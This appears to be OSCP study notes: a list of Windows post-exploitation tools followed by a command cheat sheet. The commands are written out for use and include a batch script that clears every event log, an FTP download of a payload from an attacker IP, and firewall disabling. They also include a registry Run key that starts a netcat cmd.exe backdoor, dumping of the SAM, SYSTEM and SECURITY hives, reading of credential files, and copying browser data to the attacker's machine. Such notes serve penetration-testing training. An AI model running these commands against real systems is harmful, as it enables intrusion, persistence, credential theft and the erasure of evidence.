OSCP Notes
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Resources Windows Post Exploitation

PowerShell

    BloodHound - Six Degrees of Domain Admin
    Empire - Empire is a PowerShell and Python post-exploitation agent
    Generate-Macro - Powershell script will generate a malicious Microsoft Office document with a specified payload and persistence method
    Old-Powershell-payload-Excel-Delivery - This version touches disk for registry persistence
    PSRecon - PSRecon gathers data from a remote Windows host using PowerShell (v2 or later), organizes the data into folders, hashes all extracted data, hashes PowerShell and various system properties, and sends the data off to the security team
    PowerShell-Suite - Some useful scripts in powershell
    PowerSploit - A PowerShell Post-Exploitation Framework
    PowerTools - A collection of PowerShell projects with a focus on offensive operations
    Powershell-C2 - A PowerShell script to maintain persistance on a Windows machine
    Powershell-Payload-Excel-Delivery - Uses Invoke-Shellcode to execute a payload and persist on the system
    mimikittenz - A post-exploitation powershell tool for extracting juicy info from memory.
    Empire - Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent.

Privilege Escalation Tools

Privilege Escalation Guides

Post Exploitation Tools

    mimikatz - A little tool to play with Windows security - extract plaintexts passwords, hash, PIN code and kerberos tickets from memory.
    Pazuzu - Reflective DLL to run binaries from memory
    UACME - Defeating Windows User Account Control
    Pupy - Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.
    Veil Pillage - Veil-Pillage is a post-exploitation framework that integrates with Veil-Evasion.
    Intersect - Post exploitation framework.
    Koadic - Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire.
    Invoke-AltDSBackdoor - This script will obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by using two Alternate Data Streams
    hackarmoury - Upload common tools from shell of compromised machine via FTP and other protocols.
    Invoke-LoginPrompt - Invokes a Windows Security Login Prompt and outputs the clear text password

Post Exploitation Guides/Wikis

Post-exploitation Techniques and Commands

Clear Log Files

A simple script to clear logs post attack.
Create a batch file and execute it as admin.
@echo off FOR /F "tokens=1,2" %%V IN ('bcdedit') DO SET adminTest=%%V IF (%adminTest%)==(Access) goto noAdmin for /F "tokens=" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G") echo. echo goto theEnd :do_clear echo clearing %1 wevtutil.exe cl %1 goto :eof :noAdmin exit

Transfer files to compromised host via non-interactive shell

In cases where you want to upload a file onto the compromised machine but you don't have an interactive shell where you simply upload the file, you can write it onto the compromised machine using FTP, feeding it one line at a time.
Create a blank file to write commands onto ftp -s:ftp_commands.txt
Echo each command (you can also do this all in one line):
echo open 10.9.122.8>ftp_commands.txt echo anonymous>ftp_commands.txt echo blah>ftp_commands.txt echo binary>ftp_commands.txt echo get met8888.exe>ftp_commands.txt echo bye>ftp_commands.txt
*Instead of ftp_commands.txt, use a unique name, hide the file in a datastream, or hide the file in the folder. aka don't be obvi

Query state of Firewall, Disable Firewall, Allow a Service Through

Query state of firewall:
netsh firewall show state
Disable firewall
netsh.exe firewall set opmode mode=disable profile=all
Allow service through firewall
netsh.exe firewall set portopening tcp 123 MYSERVICE enable all
netsh.exe firewall set allowedprogram C:\MYPROGRAM.exe
HKLM\software\microsoft\windows\ currentversion\run –d ‘C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe’ –v netcat
netsh firewall set allowedprogram c:\nc.exe allow_nc ENABLE
Query current user and privilege information
whoami
whoami /all
whoami /user
whoami /groups
whoami /priv
[Users]
net users: list users
For more info on a user:
net user (for local user)
net user /domain (for a domain user)
View domain admins:
net group "Domain Admins" /domain
View name of domain controller:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History" /v DC
Add user:
net users /add
Add user to local administrators group:
net localgroup administrators /add
Delete a user:
net users username /delete /domain
Change user's password:
net users
[Accounts & Groups]
net accounts
net accounts /domain
net logalgroup administrators
net localgroup administrators /dmain
net group "domain Admins" /domain
net group "Enterprise Admins" /domain
net view /localgroup
net localgroup Administrators
net localgroup /Domain
gpresult: view group policy
gupdate: update group policy
gpresult /z
[Network and misc information]
systeminfo: lists information about system
ipconfig/all: Query ip configuation
ipconfig /displaydns
route print: Prints machines routing table
arp -a: Lists all systems current in the machine's ARP table
nslookup: Query server information
nbtstat: Displays protocol stats and current TCP/IP connections using NetBIOS over TCP/IP
qwinsta: Query info about RDP sessions
net session: Query session information
net time \computername (Shows the time of target computer)
net share: view shared resources on network
[Query current drives on system]
fsutil fsinfo drives
[Grab SAM and SYSTEM files]
type "C:/windows/repair/SAM"
type "C:/windows/repair/SYSTEM"
[Tasks]
tasklist /svc: lists running processes
taskkill /PID /F : forcibly kill task
taskkill taskkill /PID xxx taskkill /IM name of process to be terminated can be used to kill all processes with same name
tasklist /V /S computername: Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount
qprocess*: Similar to tasklist but easier to read
at: Query current scheduled tasks
schtasks: Query scheduled tasks that your current user has access to see.
schtasks /query /fo csv /v > %TEMP%
[Netstat]
netstat -ano : to see what services are running on what ports
netstat -bano
netstat -r
netstat -na | findstr :443
[Query information about server and workstation, Workstation domain name and Logon domain]
net config server
net config workstation
[Change drive to different drive letter]
ex change to D:/ directory and list it's contents:
d: & dir
cd /d d: & dir
dir \computername\share_or_admin_share (dir list a remote directory)
[Cat contents of file located in D:/ directory]
cd /d & type d:\blah\blah
[net view]
net view /domain[:DomainName]
net view \computerName
[Services]
View list processes started upon startup
net start
wmic startup get caption,command
[Query, Stop/Start/Pause Installed Services]
sc query state= all
sc query
sc
[Remote System Access]
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
net share \computername
tasklist /V /S computername
qwinsta /SERVER:computername
qprocess /SERVER:computername
*[WMI]
wmic bios
wmic qfe
wmic qfe get hotfixid (This gets patches IDs)
wmic startup
wmic service
wmic os
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)
[Reg Command]
reg save HKLM\Security security.hive (Save security hive to a file)
reg save HKLM\System system.hive (Save system hive to a file)
reg save HKLM\SAM sam.hive (Save sam to a file)=
reg add [\TargetIPaddr] [RegDomain][ \Key ]
reg export [RegDomain][Key] [FileName]
reg import [FileName ]
reg query [\TargetIPaddr] [RegDomain][ Key ] /v [Valuename!] (you can to add /s for recurse all values )
[Deleting Logs]
wevtutil el (list logs)
wevtutil cl
[Uninstalling Software]
wmic proud get name /value: gets software names
wmic product where name="XXX": call uninstall /Interactive:Off: unintalss software
[Permissions]
icacls
Grant full access over directory and encompassing folders and files:
icacls "C:\windows" /grant Administrator:F /T
icacls "C:\" /grant "nt authority\system": F /T
[Net use]
net use: Map network shares
net use \computername (maps IPC$ which does not show up as a drive)
net use \computername /user:DOMAINNAME\username password ○ (maps IPC$ under another username)
[Mount a remote share with the rights of the current user]:
net use K: \\
dir K:
[Enable remote desktop]
reg add "HKLM\System\CurrentControlSet\Control\TermServer" /v fDenyTSConnections /t REG_DWORD /f
net session: list session information
[Other useful Commands]
pkgmgr usefull /iu :"Package"
pkgmgr usefull /iu :"TellnetServer": install telnet service
pkgmgr /iu:"TelnetClient"
rundll32.exe user32.dll, LockWorkStation: locks the screen
wscript.exe <script js/vbs>
cscript.exe <script js/vbs/c#>
xcopy /C /S %appdata%\Mozilla\Firefox\Profiles*.sqlite \your_box
type "C:\documents and settings\administrator\userdata\index.dat"
type %WINDIR%\System32\drivers\etc\hosts: view contents of hosts files
type "c:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Credentials"
cd "C:/Documents and settings\administrator\userdata" & dir
type "c:\Documents and Settings\Administrator\Desktop\UserMysql.txt"
type "c:\Documents and Settings\Administrator\Application Data\MySQL\mysqlx_user_connections.xml"
type "C:\documents and settings\administrator\userdata\index.dat"
Last modified 1yr ago